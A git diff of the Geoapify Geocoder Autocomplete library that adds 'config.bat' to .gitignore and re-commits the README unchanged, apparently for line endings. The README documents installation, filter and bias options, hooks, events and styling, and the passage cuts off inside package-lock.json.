diff --git a/.gitignore b/.gitignore index dd893c4..bb07960 100644 --- a/.gitignore +++ b/.gitignore @@ -1,4 +1,5 @@ -node_modules -/dist -*.tgz -.vscode/* \ No newline at end of file +node_modules +/dist +*.tgz +.vscode/* +config.bat diff --git a/.npmignore b/.npmignore index d1aaeec..af632d9 100644 --- a/.npmignore +++ b/.npmignore @@ -1,6 +1,6 @@ -src -tsconfig.json -*.tgz -.vscode/* -rollup.config.js +src +tsconfig.json +*.tgz +.vscode/* +rollup.config.js postcss.config.cjs \ No newline at end of file diff --git a/README.md b/README.md index 133df81..bec25da 100644 --- a/README.md +++ b/README.md @@ -1,324 +1,324 @@ -# Geoapify Geocoder Autocomplete -Geoapify Geocoder Autocomplete is a JavaScript(TypeScript) library that provides autocomplete functionality for the [Geoapify Geocoding API](https://www.geoapify.com/geocoding-api/): -* adds an input field to a given container; -* makes calls to Geocoding API on user input; -* shows place suggestions in a dropdown list; -* notifies on suggestions change; -* makes a call to Place Details API to get more information and geometry on user selection if is not skipped; -* notifies on selection change. Returns [Geocoding API](https://apidocs.geoapify.com/docs/geocoding/) object or [Place Details API object](https://apidocs.geoapify.com/docs/place-details/) depending on options set. - -The library makes a call to [Geoapify Place Details API](https://apidocs.geoapify.com/docs/place-details/) on user select events. The API lets to get detailed information about the place selected as well as place category and place geometry (building polygon or region boundary). Note, that the Place Details API call costs an additional 'geocoding & places' request. Use the `skipDetails` option to switch the functionality off. - -You can also: -* specify a location type - **country**, **state**, **city**, **postcode**, **street**, **amenity**; -* filter results by country, circle or boundary box -* prioritize search by a location, boundary box, circle, and countries -* select a language for search results; -* change result number shown in the dropdown list. - -## [Live demo](https://apidocs.geoapify.com/playground/geocoding/#autocomplete) - -## [JSFiddle demo](https://jsfiddle.net/Geoapify/jsgw53z8/) -## Add Geocoder Autocomplete to your project or webpage -##### STEP 0. Get an API key from Geoapify -You will need an API key to execute Geoapify Geocoding requests. -Register and get an API key for Free on [myprojects.geoapify.com](https://myprojects.geoapify.com/). -Geoapify has a [Freemium pricing model](https://www.geoapify.com/pricing/). You can start for Free and extend when you need it. - -##### STEP 1. Add the Geocoder Autocomplete package - -* **Option 1**. Install the Geocoder Autocomplete package with NPM or Yarn project manager: - -``` -npm install @geoapify/geocoder-autocomplete -# or -yarn add @geoapify/geocoder-autocomplete -``` - -* **Option 2**. Refer to the Geocoder Autocomplete library as a UMD module (for CMS websites, including WordPress): -```html - - - - - ... - -... - -``` - -You can use [UNPKG](https://unpkg.com/) to refer or download the library: - -```https://unpkg.com/@geoapify/geocoder-autocomplete@^1/dist/index.min.js``` - -```https://unpkg.com/@geoapify/geocoder-autocomplete@^1/styles/minimal.css``` -##### STEP 2. Add a container element to webpage -The autocomplete input will be added into the container element and will take the element full width: -```html -
-``` -The container element must have `position: absolute;` or `position: relative;` -```css -.autocomplete-container { - position: relative; -} -``` -##### STEP 3. Initialize the autocomplete field - -* **Option 1**. Import the Geocoder Autocomplete types when you use it as a module: -```javascript -import { GeocoderAutocomplete } from '@geoapify/geocoder-autocomplete'; - -const autocomplete = new GeocoderAutocomplete( - document.getElementById("autocomplete"), - 'YOUR_API_KEY', - { /* Geocoder options */ }); - -autocomplete.on('select', (location) => { - // check selected location here -}); - -autocomplete.on('suggestions', (suggestions) => { - // process suggestions here -}); -``` - -* **Option 2**. Refer to the Geocoder Autocomplete as `autocomplete` when you added it as a script: -```javascript -const autocompleteInput = new autocomplete.GeocoderAutocomplete( - document.getElementById("autocomplete"), - 'YOUR_API_KEY', - { /* Geocoder options */ }); - -autocompleteInput.on('select', (location) => { - // check selected location here -}); - -autocompleteInput.on('suggestions', (suggestions) => { - // process suggestions here -}); -``` - -##### STEP 4. Choose Geoapify autocomplete styles: -We provide several Themes within the library: -* `minimal` and `round-borders` - for webpages with light background color -* `minimal-dark` and `round-borders-dark` for webpages with dark background color. - -You can import the appropriate css-file to your styles: -```css - @import "~@geoapify/geocoder-autocomplete/styles/minimal.css"; -``` -or as a link in a HTML-file: -```html - -``` -## Geoapify Geocoder options -#### GeocoderAutocompleteOptions -| Option | Type | Description | -| ------ | ------ | ------ | -| type | `country`, `state`, `city`, `postcode`, `street`, `amenity` | Type of the location | -| lang | LanguageCode | Results language | -| limit | number | The maximal number of returned suggestions | -| placeholder | string | An input field placeholder | -| debounceDelay | number | A delay between user input and the API call to prevent unnecessary calls. The default value is 100ms. | -| skipIcons | boolean | Don't add icons to suggestions | -| skipDetails | boolean | Skip Place Details API call on selection change | -| filter | FilterOptions | Filter places by country, boundary, circle | -| bias | BiasOptions | Prefer places by country, boundary, circle, location | - -#### LanguageCode -2-character [ISO 639-1](https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes) language code: `ab`, `aa`, `af`, `ak`, `sq`, `am`, `ar`, `an`, `hy`, `as`, `av`, `ae`, `ay`, `az`, `bm`, `ba`, `eu`, `be`, `bn`, `bh`, `bi`, `bs`, `br`, `bg`, `my`, `ca`, `ch`, `ce`, `ny`, `zh`, `cv`, `kw`, `co`, `cr`, `hr`, `cs`, `da`, `dv`, `nl`, `en`, `eo`, `et`, `ee`, `fo`, `fj`, `fi`, `fr`, `ff`, `gl`, `ka`, `de`, `el`, `gn`, `gu`, `ht`, `ha`, `he`, `hz`, `hi`, `ho`, `hu`, `ia`, `id`, `ie`, `ga`, `ig`, `ik`, `io`, `is`, `it`, `iu`, `ja`, `jv`, `kl`, `kn`, `kr`, `ks`, `kk`, `km`, `ki`, `rw`, `ky`, `kv`, `kg`, `ko`, `ku`, `kj`, `la`, `lb`, `lg`, `li`, `ln`, `lo`, `lt`, `lu`, `lv`, `gv`, `mk`, `mg`, `ms`, `ml`, `mt`, `mi`, `mr`, `mh`, `mn`, `na`, `nv`, `nb`, `nd`, `ne`, `ng`, `nn`, `no`, `ii`, `nr`, `oc`, `oj`, `cu`, `om`, `or`, `os`, `pa`, `pi`, `fa`, `pl`, `ps`, `pt`, `qu`, `rm`, `rn`, `ro`, `ru`, `sa`, `sc`, `sd`, `se`, `sm`, `sg`, `sr`, `gd`, `sn`, `si`, `sk`, `sl`, `so`, `st`, `es`, `su`, `sw`, `ss`, `sv`, `ta`, `te`, `tg`, `th`, `ti`, `bo`, `tk`, `tl`, `tn`, `to`, `tr`, `ts`, `tt`, `tw`, `ty`, `ug`, `uk`, `ur`, `uz`, `ve`, `vi`, `vo`, `wa`, `cy`, `wo`, `fy`, `xh`, `yi`, `yo`, `za`. - -#### FilterOptions -The Geocoder Autocomplete allows specify the following types of filters: - -Name | Filter | Filter Value | Description | Examples ---- | --- | --- | --- | --- -By circle | *circle* | `{ lon: number ,lat: number, radiusMeters: number }` | Search places inside the circle | `filter['circle'] = {lon: -87.770231, lat: 41.878968, radiusMeters: 5000}` -By rectangle | *rect* | `{ lon1: number ,lat1: number, lon2: number ,lat2: number}` | Search places inside the rectangle | `filter['rect'] = {lon1: 89.097540, lat1: 39.668983, lon2: -88.399274, lat2: 40.383412}` -By country | *countrycode* | `CountyCode[]` | Search places in the countries | `filter['countrycode'] = ['de', 'fr', 'es']` - -You can provide filters as initial options or add by calling a function: -``` - options.filter = { - 'circle': {lon: -87.770231, lat: 41.878968, radiusMeters: 5000} - }; - - // or - - autocomplete.addFilterByCircle({lon: -87.770231, lat: 41.878968, radiusMeters: 5000}); - -``` - -You can combine several filters (but only one of each type) in one request. The **AND** logic is applied to the multiple filters. - -#### BiasOptions -You can chage priority of the search by setting bias. The Geocoder Autocomplete allows specify the following types of bias: - -Name | Bias | Bias Value | Description | Examples ---- | --- | --- | --- | --- -By circle | *circle* | `{ lon: number ,lat: number, radiusMeters: number }` | First, search places inside the circle, then worldwide | `bias['circle'] = {lon: -87.770231, lat: 41.878968, radiusMeters: 5000}` -By rectangle | *rect* | `{ lon1: number ,lat1: number, lon2: number ,lat2: number}` | First, search places inside the rectangle, then worldwide | `bias['rect'] = {lon1: 89.097540, lat1: 39.668983, lon2: -88.399274, lat2: 40.383412}` -By country | *countrycode* | `CountyCode[]` | First, search places in the countries, then worldwide | `bias['countrycode'] = ['de', 'fr', 'es']` -By location | *proximity* | `{lon: number ,lat: number}` | Prioritize results by farness from the location | `bias['proximity'] = {lon: -87.770231, lat: 41.878968}` - -You can combine several bias parameters (but only one of each type) in one request. The OR logic is applied to the multiple bias. - -NOTE! The default bias for the geocoding requests is "countrycode:auto", the API detects a country by IP address and provides the search there first. Set `bias['countrycode'] = ['none']` to avoid prioritization by country. - -You can provide filters as initial options or add by calling a function: -``` - options.bias = { - 'circle': {lon: -87.770231, lat: 41.878968, radiusMeters: 5000}, - 'countrycode': ['none'] - }; - - // or - - autocomplete.addBiasByCircle({lon: -87.770231, lat: 41.878968, radiusMeters: 5000}); - -``` - -#### CountyCode - -* Use 'auto' to detect the country by IP address; -* Use 'none' to skip; -* 2-digits [ISO 3166-1 Alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2#Officially_assigned_code_elements) country code: `ad`, `ae`, `af`, `ag`, `ai`, `al`, `am`, `an`, `ao`, `ap`, `aq`, `ar`, `as`, `at`, `au`, `aw`, `az`, `ba`, `bb`, `bd`, `be`, `bf`, `bg`, `bh`, `bi`, `bj`, `bm`, `bn`, `bo`, `br`, `bs`, `bt`, `bv`, `bw`, `by`, `bz`, `ca`, `cc`, `cd`, `cf`, `cg`, `ch`, `ci`, `ck`, `cl`, `cm`, `cn`, `co`, `cr`, `cu`, `cv`, `cx`, `cy`, `cz`, `de`, `dj`, `dk`, `dm`, `do`, `dz`, `ec`, `ee`, `eg`, `eh`, `er`, `es`, `et`, `eu`, `fi`, `fj`, `fk`, `fm`, `fo`, `fr`, `ga`, `gb`, `gd`, `ge`, `gf`, `gh`, `gi`, `gl`, `gm`, `gn`, `gp`, `gq`, `gr`, `gs`, `gt`, `gu`, `gw`, `gy`, `hk`, `hm`, `hn`, `hr`, `ht`, `hu`, `id`, `ie`, `il`, `in`, `io`, `iq`, `ir`, `is`, `it`, `jm`, `jo`, `jp`, `ke`, `kg`, `kh`, `ki`, `km`, `kn`, `kp`, `kr`, `kw`, `ky`, `kz`, `la`, `lb`, `lc`, `li`, `lk`, `lr`, `ls`, `lt`, `lu`, `lv`, `ly`, `ma`, `mc`, `md`, `me`, `mg`, `mh`, `mk`, `ml`, `mm`, `mn`, `mo`, `mp`, `mq`, `mr`, `ms`, `mt`, `mu`, `mv`, `mw`, `mx`, `my`, `mz`, `na`, `nc`, `ne`, `nf`, `ng`, `ni`, `nl`, `no`, `np`, `nr`, `nu`, `nz`, `om`, `pa`, `pe`, `pf`, `pg`, `ph`, `pk`, `pl`, `pm`, `pr`, `ps`, `pt`, `pw`, `py`, `qa`, `re`, `ro`, `rs`, `ru`, `rw`, `sa`, `sb`, `sc`, `sd`, `se`, `sg`, `sh`, `si`, `sj`, `sk`, `sl`, `sm`, `sn`, `so`, `sr`, `st`, `sv`, `sy`, `sz`, `tc`, `td`, `tf`, `tg`, `th`, `tj`, `tk`, `tm`, `tn`, `to`, `tr`, `tt`, `tv`, `tw`, `tz`, `ua`, `ug`, `um`, `us`, `uy`, `uz`, `va`, `vc`, `ve`, `vg`, `vi`, `vn`, `vu`, `wf`, `ws`, `ye`, `yt`, `za`, `zm`, `zw`. - -Learn more about Geoapify Geocoder options on [Geoapify Documentation page](https://apidocs.geoapify.com/docs/geocoding). - -#### Set option with API -The library provides an API that allows to set **Geoapify Geocoder options** during runtime: -```javascript -const autocomplete = new GeocoderAutocomplete(...); - -// set location type -autocomplete.setType(options.type); -// set results language -autocomplete.setLang(options.lang); -// set dropdown elements limit -autocomplete.setLimit(options.limit); - - -// set filter -autocomplete.addFilterByCountry(codes); -autocomplete.addFilterByCircle(filterByCircle); -autocomplete.addFilterByRect(filterByRect); -autocomplete.clearFilters() - -// set bias -autocomplete.addBiasByCountry(codes); -autocomplete.addBiasByCircle(biasByCircle); -autocomplete.addBiasByRect(biasByRect); -autocomplete.addBiasByProximity(biasByProximity); -autocomplete.clearBias(); - -// get and change dropdown list state -autocomplete.isOpen(); -autocomplete.open(); -autocomplete.close(); -``` - -#### Set display value -You can also set initial value or change display value: -```javascript -const autocomplete = new GeocoderAutocomplete(...); - -autocomplete.setValue(value); -``` - -## Hooks and suggestions filter -By adding preprocessing and post-processing hooks and suggestions filter you can change the entered/displayed values and suggestions list: -* **Preprocess Hook** - you can modify the text to search. For example, if you expect that the user enters a street name you can add a city or postcode to search streets in the city. -* **Postprocess Hook** - you can modify the text that will be displayed in the input field and suggestions list. For example, you can show only a street name. -* **Suggestions Filter** - allows filtering some suggestions. It lets to avoid duplicated results when you modify the address with a post-process hook. For example, suggestions may contain several addresses with the same street name, they will be duplicated when not the whole address but only the street name is shown. - -```javascript - -// add preprocess hook -autocomplete.setPreprocessHook((value: string) => { - // return augmented value here - return `${value} ${someAdditionalInfo}` -}); - -// remove the hook -autocomplete.setPreprocessHook(null); - -autocomplete.setPostprocessHook((feature) => { - // feature is GeoJSON feature containing structured address - // return a part of the address to be displayed - return feature.properties.street; -}); - -// remove the hook -autocomplete.setPostprocessHook(null); - -autocomplete.setSuggestionsFilter((features: any[]) => { - // features is an array of GeoJSON features, that contains suggestions - // return filtered array - const processedStreets = []; - const filtered = features.filter(feature => { - if (!feature.properties.street || processedStreets.indexOf(feature.properties.street) >= 0) { - return false; - } else { - processedStreets.push(feature.properties.street); - return true; - } - }); - return filtered; -}); - -// remove the filter -autocomplete.setSuggestionsFilter(null); - -``` -## Geocoder Autocomplete events -The Geocoder Autocomplete can notify when the list of suggestions is changed or a selection happened: -```javascript -autocomplete.on('select', (location) => { - // check selected location here -}); - -autocomplete.on('suggestions', (suggestions) => { - // process suggestions here -}); - -autocomplete.on('input', (userInput) => { - // process user input here -}); - -autocomplete.on('open', () => { - // dropdown list is opened -}); - -autocomplete.on('close', () => { - // dropdown list is closed -}); - -autocomplete.once('open', () => { - // dropdown list is opened, one time callback -}); - -autocomplete.once('close', () => { - // dropdown list is closed, one time callback -}); -``` -The location have [GeoJSON.Feature](https://geojson.org/) type, suggestions have GeoJSON.Feature[] type. Properties of the feature contain information about address and location. -Learn more about Geocoder result properties on [Geoapify Documentation page](https://apidocs.geoapify.com/docs/geocoding/). -## Styling -We provide several Themes within the library: -* `minimal` and `round-borders` - for webpages with light background color -* `minimal-dark` and `round-borders-dark` for webpages with dark background color. - -However, you have also opportunity to style the component by yourself. Here are the classes used: -| Name | Description | -| ------ | ------ | -| `.geoapify-autocomplete-input ` | The input element | -| `.geoapify-autocomplete-items` | The dropdown list | -| `.geoapify-autocomplete-items .active` | Selected item in the dropdown list | -| `.geoapify-autocomplete-item` | The dropdown list item| -| `.geoapify-autocomplete-item.icon` | The dropdown list item icon | -| `.geoapify-autocomplete-item.text` | The dropdown list item text | -| `.geoapify-close-button` | The clear button | - -### Find more Geoapify APIs, Playgrounds and code samples on [apidocs.geoapify.com](https://apidocs.geoapify.com). +# Geoapify Geocoder Autocomplete +Geoapify Geocoder Autocomplete is a JavaScript(TypeScript) library that provides autocomplete functionality for the [Geoapify Geocoding API](https://www.geoapify.com/geocoding-api/): +* adds an input field to a given container; +* makes calls to Geocoding API on user input; +* shows place suggestions in a dropdown list; +* notifies on suggestions change; +* makes a call to Place Details API to get more information and geometry on user selection if is not skipped; +* notifies on selection change. Returns [Geocoding API](https://apidocs.geoapify.com/docs/geocoding/) object or [Place Details API object](https://apidocs.geoapify.com/docs/place-details/) depending on options set. + +The library makes a call to [Geoapify Place Details API](https://apidocs.geoapify.com/docs/place-details/) on user select events. The API lets to get detailed information about the place selected as well as place category and place geometry (building polygon or region boundary). Note, that the Place Details API call costs an additional 'geocoding & places' request. Use the `skipDetails` option to switch the functionality off. + +You can also: +* specify a location type - **country**, **state**, **city**, **postcode**, **street**, **amenity**; +* filter results by country, circle or boundary box +* prioritize search by a location, boundary box, circle, and countries +* select a language for search results; +* change result number shown in the dropdown list. + +## [Live demo](https://apidocs.geoapify.com/playground/geocoding/#autocomplete) + +## [JSFiddle demo](https://jsfiddle.net/Geoapify/jsgw53z8/) +## Add Geocoder Autocomplete to your project or webpage +##### STEP 0. Get an API key from Geoapify +You will need an API key to execute Geoapify Geocoding requests. +Register and get an API key for Free on [myprojects.geoapify.com](https://myprojects.geoapify.com/). +Geoapify has a [Freemium pricing model](https://www.geoapify.com/pricing/). You can start for Free and extend when you need it. + +##### STEP 1. Add the Geocoder Autocomplete package + +* **Option 1**. Install the Geocoder Autocomplete package with NPM or Yarn project manager: + +``` +npm install @geoapify/geocoder-autocomplete +# or +yarn add @geoapify/geocoder-autocomplete +``` + +* **Option 2**. Refer to the Geocoder Autocomplete library as a UMD module (for CMS websites, including WordPress): +```html + + + + + ... + +... + +``` + +You can use [UNPKG](https://unpkg.com/) to refer or download the library: + +```https://unpkg.com/@geoapify/geocoder-autocomplete@^1/dist/index.min.js``` + +```https://unpkg.com/@geoapify/geocoder-autocomplete@^1/styles/minimal.css``` +##### STEP 2. Add a container element to webpage +The autocomplete input will be added into the container element and will take the element full width: +```html +
+``` +The container element must have `position: absolute;` or `position: relative;` +```css +.autocomplete-container { + position: relative; +} +``` +##### STEP 3. Initialize the autocomplete field + +* **Option 1**. Import the Geocoder Autocomplete types when you use it as a module: +```javascript +import { GeocoderAutocomplete } from '@geoapify/geocoder-autocomplete'; + +const autocomplete = new GeocoderAutocomplete( + document.getElementById("autocomplete"), + 'YOUR_API_KEY', + { /* Geocoder options */ }); + +autocomplete.on('select', (location) => { + // check selected location here +}); + +autocomplete.on('suggestions', (suggestions) => { + // process suggestions here +}); +``` + +* **Option 2**. Refer to the Geocoder Autocomplete as `autocomplete` when you added it as a script: +```javascript +const autocompleteInput = new autocomplete.GeocoderAutocomplete( + document.getElementById("autocomplete"), + 'YOUR_API_KEY', + { /* Geocoder options */ }); + +autocompleteInput.on('select', (location) => { + // check selected location here +}); + +autocompleteInput.on('suggestions', (suggestions) => { + // process suggestions here +}); +``` + +##### STEP 4. Choose Geoapify autocomplete styles: +We provide several Themes within the library: +* `minimal` and `round-borders` - for webpages with light background color +* `minimal-dark` and `round-borders-dark` for webpages with dark background color. + +You can import the appropriate css-file to your styles: +```css + @import "~@geoapify/geocoder-autocomplete/styles/minimal.css"; +``` +or as a link in a HTML-file: +```html + +``` +## Geoapify Geocoder options +#### GeocoderAutocompleteOptions +| Option | Type | Description | +| ------ | ------ | ------ | +| type | `country`, `state`, `city`, `postcode`, `street`, `amenity` | Type of the location | +| lang | LanguageCode | Results language | +| limit | number | The maximal number of returned suggestions | +| placeholder | string | An input field placeholder | +| debounceDelay | number | A delay between user input and the API call to prevent unnecessary calls. The default value is 100ms. | +| skipIcons | boolean | Don't add icons to suggestions | +| skipDetails | boolean | Skip Place Details API call on selection change | +| filter | FilterOptions | Filter places by country, boundary, circle | +| bias | BiasOptions | Prefer places by country, boundary, circle, location | + +#### LanguageCode +2-character [ISO 639-1](https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes) language code: `ab`, `aa`, `af`, `ak`, `sq`, `am`, `ar`, `an`, `hy`, `as`, `av`, `ae`, `ay`, `az`, `bm`, `ba`, `eu`, `be`, `bn`, `bh`, `bi`, `bs`, `br`, `bg`, `my`, `ca`, `ch`, `ce`, `ny`, `zh`, `cv`, `kw`, `co`, `cr`, `hr`, `cs`, `da`, `dv`, `nl`, `en`, `eo`, `et`, `ee`, `fo`, `fj`, `fi`, `fr`, `ff`, `gl`, `ka`, `de`, `el`, `gn`, `gu`, `ht`, `ha`, `he`, `hz`, `hi`, `ho`, `hu`, `ia`, `id`, `ie`, `ga`, `ig`, `ik`, `io`, `is`, `it`, `iu`, `ja`, `jv`, `kl`, `kn`, `kr`, `ks`, `kk`, `km`, `ki`, `rw`, `ky`, `kv`, `kg`, `ko`, `ku`, `kj`, `la`, `lb`, `lg`, `li`, `ln`, `lo`, `lt`, `lu`, `lv`, `gv`, `mk`, `mg`, `ms`, `ml`, `mt`, `mi`, `mr`, `mh`, `mn`, `na`, `nv`, `nb`, `nd`, `ne`, `ng`, `nn`, `no`, `ii`, `nr`, `oc`, `oj`, `cu`, `om`, `or`, `os`, `pa`, `pi`, `fa`, `pl`, `ps`, `pt`, `qu`, `rm`, `rn`, `ro`, `ru`, `sa`, `sc`, `sd`, `se`, `sm`, `sg`, `sr`, `gd`, `sn`, `si`, `sk`, `sl`, `so`, `st`, `es`, `su`, `sw`, `ss`, `sv`, `ta`, `te`, `tg`, `th`, `ti`, `bo`, `tk`, `tl`, `tn`, `to`, `tr`, `ts`, `tt`, `tw`, `ty`, `ug`, `uk`, `ur`, `uz`, `ve`, `vi`, `vo`, `wa`, `cy`, `wo`, `fy`, `xh`, `yi`, `yo`, `za`. + +#### FilterOptions +The Geocoder Autocomplete allows specify the following types of filters: + +Name | Filter | Filter Value | Description | Examples +--- | --- | --- | --- | --- +By circle | *circle* | `{ lon: number ,lat: number, radiusMeters: number }` | Search places inside the circle | `filter['circle'] = {lon: -87.770231, lat: 41.878968, radiusMeters: 5000}` +By rectangle | *rect* | `{ lon1: number ,lat1: number, lon2: number ,lat2: number}` | Search places inside the rectangle | `filter['rect'] = {lon1: 89.097540, lat1: 39.668983, lon2: -88.399274, lat2: 40.383412}` +By country | *countrycode* | `CountyCode[]` | Search places in the countries | `filter['countrycode'] = ['de', 'fr', 'es']` + +You can provide filters as initial options or add by calling a function: +``` + options.filter = { + 'circle': {lon: -87.770231, lat: 41.878968, radiusMeters: 5000} + }; + + // or + + autocomplete.addFilterByCircle({lon: -87.770231, lat: 41.878968, radiusMeters: 5000}); + +``` + +You can combine several filters (but only one of each type) in one request. The **AND** logic is applied to the multiple filters. + +#### BiasOptions +You can chage priority of the search by setting bias. The Geocoder Autocomplete allows specify the following types of bias: + +Name | Bias | Bias Value | Description | Examples +--- | --- | --- | --- | --- +By circle | *circle* | `{ lon: number ,lat: number, radiusMeters: number }` | First, search places inside the circle, then worldwide | `bias['circle'] = {lon: -87.770231, lat: 41.878968, radiusMeters: 5000}` +By rectangle | *rect* | `{ lon1: number ,lat1: number, lon2: number ,lat2: number}` | First, search places inside the rectangle, then worldwide | `bias['rect'] = {lon1: 89.097540, lat1: 39.668983, lon2: -88.399274, lat2: 40.383412}` +By country | *countrycode* | `CountyCode[]` | First, search places in the countries, then worldwide | `bias['countrycode'] = ['de', 'fr', 'es']` +By location | *proximity* | `{lon: number ,lat: number}` | Prioritize results by farness from the location | `bias['proximity'] = {lon: -87.770231, lat: 41.878968}` + +You can combine several bias parameters (but only one of each type) in one request. The OR logic is applied to the multiple bias. + +NOTE! The default bias for the geocoding requests is "countrycode:auto", the API detects a country by IP address and provides the search there first. Set `bias['countrycode'] = ['none']` to avoid prioritization by country. + +You can provide filters as initial options or add by calling a function: +``` + options.bias = { + 'circle': {lon: -87.770231, lat: 41.878968, radiusMeters: 5000}, + 'countrycode': ['none'] + }; + + // or + + autocomplete.addBiasByCircle({lon: -87.770231, lat: 41.878968, radiusMeters: 5000}); + +``` + +#### CountyCode + +* Use 'auto' to detect the country by IP address; +* Use 'none' to skip; +* 2-digits [ISO 3166-1 Alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2#Officially_assigned_code_elements) country code: `ad`, `ae`, `af`, `ag`, `ai`, `al`, `am`, `an`, `ao`, `ap`, `aq`, `ar`, `as`, `at`, `au`, `aw`, `az`, `ba`, `bb`, `bd`, `be`, `bf`, `bg`, `bh`, `bi`, `bj`, `bm`, `bn`, `bo`, `br`, `bs`, `bt`, `bv`, `bw`, `by`, `bz`, `ca`, `cc`, `cd`, `cf`, `cg`, `ch`, `ci`, `ck`, `cl`, `cm`, `cn`, `co`, `cr`, `cu`, `cv`, `cx`, `cy`, `cz`, `de`, `dj`, `dk`, `dm`, `do`, `dz`, `ec`, `ee`, `eg`, `eh`, `er`, `es`, `et`, `eu`, `fi`, `fj`, `fk`, `fm`, `fo`, `fr`, `ga`, `gb`, `gd`, `ge`, `gf`, `gh`, `gi`, `gl`, `gm`, `gn`, `gp`, `gq`, `gr`, `gs`, `gt`, `gu`, `gw`, `gy`, `hk`, `hm`, `hn`, `hr`, `ht`, `hu`, `id`, `ie`, `il`, `in`, `io`, `iq`, `ir`, `is`, `it`, `jm`, `jo`, `jp`, `ke`, `kg`, `kh`, `ki`, `km`, `kn`, `kp`, `kr`, `kw`, `ky`, `kz`, `la`, `lb`, `lc`, `li`, `lk`, `lr`, `ls`, `lt`, `lu`, `lv`, `ly`, `ma`, `mc`, `md`, `me`, `mg`, `mh`, `mk`, `ml`, `mm`, `mn`, `mo`, `mp`, `mq`, `mr`, `ms`, `mt`, `mu`, `mv`, `mw`, `mx`, `my`, `mz`, `na`, `nc`, `ne`, `nf`, `ng`, `ni`, `nl`, `no`, `np`, `nr`, `nu`, `nz`, `om`, `pa`, `pe`, `pf`, `pg`, `ph`, `pk`, `pl`, `pm`, `pr`, `ps`, `pt`, `pw`, `py`, `qa`, `re`, `ro`, `rs`, `ru`, `rw`, `sa`, `sb`, `sc`, `sd`, `se`, `sg`, `sh`, `si`, `sj`, `sk`, `sl`, `sm`, `sn`, `so`, `sr`, `st`, `sv`, `sy`, `sz`, `tc`, `td`, `tf`, `tg`, `th`, `tj`, `tk`, `tm`, `tn`, `to`, `tr`, `tt`, `tv`, `tw`, `tz`, `ua`, `ug`, `um`, `us`, `uy`, `uz`, `va`, `vc`, `ve`, `vg`, `vi`, `vn`, `vu`, `wf`, `ws`, `ye`, `yt`, `za`, `zm`, `zw`. + +Learn more about Geoapify Geocoder options on [Geoapify Documentation page](https://apidocs.geoapify.com/docs/geocoding). + +#### Set option with API +The library provides an API that allows to set **Geoapify Geocoder options** during runtime: +```javascript +const autocomplete = new GeocoderAutocomplete(...); + +// set location type +autocomplete.setType(options.type); +// set results language +autocomplete.setLang(options.lang); +// set dropdown elements limit +autocomplete.setLimit(options.limit); + + +// set filter +autocomplete.addFilterByCountry(codes); +autocomplete.addFilterByCircle(filterByCircle); +autocomplete.addFilterByRect(filterByRect); +autocomplete.clearFilters() + +// set bias +autocomplete.addBiasByCountry(codes); +autocomplete.addBiasByCircle(biasByCircle); +autocomplete.addBiasByRect(biasByRect); +autocomplete.addBiasByProximity(biasByProximity); +autocomplete.clearBias(); + +// get and change dropdown list state +autocomplete.isOpen(); +autocomplete.open(); +autocomplete.close(); +``` + +#### Set display value +You can also set initial value or change display value: +```javascript +const autocomplete = new GeocoderAutocomplete(...); + +autocomplete.setValue(value); +``` + +## Hooks and suggestions filter +By adding preprocessing and post-processing hooks and suggestions filter you can change the entered/displayed values and suggestions list: +* **Preprocess Hook** - you can modify the text to search. For example, if you expect that the user enters a street name you can add a city or postcode to search streets in the city. +* **Postprocess Hook** - you can modify the text that will be displayed in the input field and suggestions list. For example, you can show only a street name. +* **Suggestions Filter** - allows filtering some suggestions. It lets to avoid duplicated results when you modify the address with a post-process hook. For example, suggestions may contain several addresses with the same street name, they will be duplicated when not the whole address but only the street name is shown. + +```javascript + +// add preprocess hook +autocomplete.setPreprocessHook((value: string) => { + // return augmented value here + return `${value} ${someAdditionalInfo}` +}); + +// remove the hook +autocomplete.setPreprocessHook(null); + +autocomplete.setPostprocessHook((feature) => { + // feature is GeoJSON feature containing structured address + // return a part of the address to be displayed + return feature.properties.street; +}); + +// remove the hook +autocomplete.setPostprocessHook(null); + +autocomplete.setSuggestionsFilter((features: any[]) => { + // features is an array of GeoJSON features, that contains suggestions + // return filtered array + const processedStreets = []; + const filtered = features.filter(feature => { + if (!feature.properties.street || processedStreets.indexOf(feature.properties.street) >= 0) { + return false; + } else { + processedStreets.push(feature.properties.street); + return true; + } + }); + return filtered; +}); + +// remove the filter +autocomplete.setSuggestionsFilter(null); + +``` +## Geocoder Autocomplete events +The Geocoder Autocomplete can notify when the list of suggestions is changed or a selection happened: +```javascript +autocomplete.on('select', (location) => { + // check selected location here +}); + +autocomplete.on('suggestions', (suggestions) => { + // process suggestions here +}); + +autocomplete.on('input', (userInput) => { + // process user input here +}); + +autocomplete.on('open', () => { + // dropdown list is opened +}); + +autocomplete.on('close', () => { + // dropdown list is closed +}); + +autocomplete.once('open', () => { + // dropdown list is opened, one time callback +}); + +autocomplete.once('close', () => { + // dropdown list is closed, one time callback +}); +``` +The location have [GeoJSON.Feature](https://geojson.org/) type, suggestions have GeoJSON.Feature[] type. Properties of the feature contain information about address and location. +Learn more about Geocoder result properties on [Geoapify Documentation page](https://apidocs.geoapify.com/docs/geocoding/). +## Styling +We provide several Themes within the library: +* `minimal` and `round-borders` - for webpages with light background color +* `minimal-dark` and `round-borders-dark` for webpages with dark background color. + +However, you have also opportunity to style the component by yourself. Here are the classes used: +| Name | Description | +| ------ | ------ | +| `.geoapify-autocomplete-input ` | The input element | +| `.geoapify-autocomplete-items` | The dropdown list | +| `.geoapify-autocomplete-items .active` | Selected item in the dropdown list | +| `.geoapify-autocomplete-item` | The dropdown list item| +| `.geoapify-autocomplete-item.icon` | The dropdown list item icon | +| `.geoapify-autocomplete-item.text` | The dropdown list item text | +| `.geoapify-close-button` | The clear button | + +### Find more Geoapify APIs, Playgrounds and code samples on [apidocs.geoapify.com](https://apidocs.geoapify.com). diff --git a/package-lock.json b/package-lock.json index ce9100d..93dea95 100644 --- a/package-lock.json +++ b/package-lock.json @@ -1,4110 +1,4110 @@ -{ - "name": "@geoapify/geocoder-autocomplete", - "version": "1.4.1", - "lockfileVersion": 2, - "requires": true, - "packages": { - "": { - "name": "@geoapify/geocoder-autocomplete", - "version": "1.4.1", - "license": "MIT", - "devDependencies": { - "@rollup/plugin-commonjs": "^21.0.1", - "@rollup/plugin-json": "^4.1.0", - "@rollup/plugin-node-resolve": "^13.1.3", - "@rollup/plugin-typescript": "^8.3.0", - "cssnano": "^5.0.17", - "postcss": 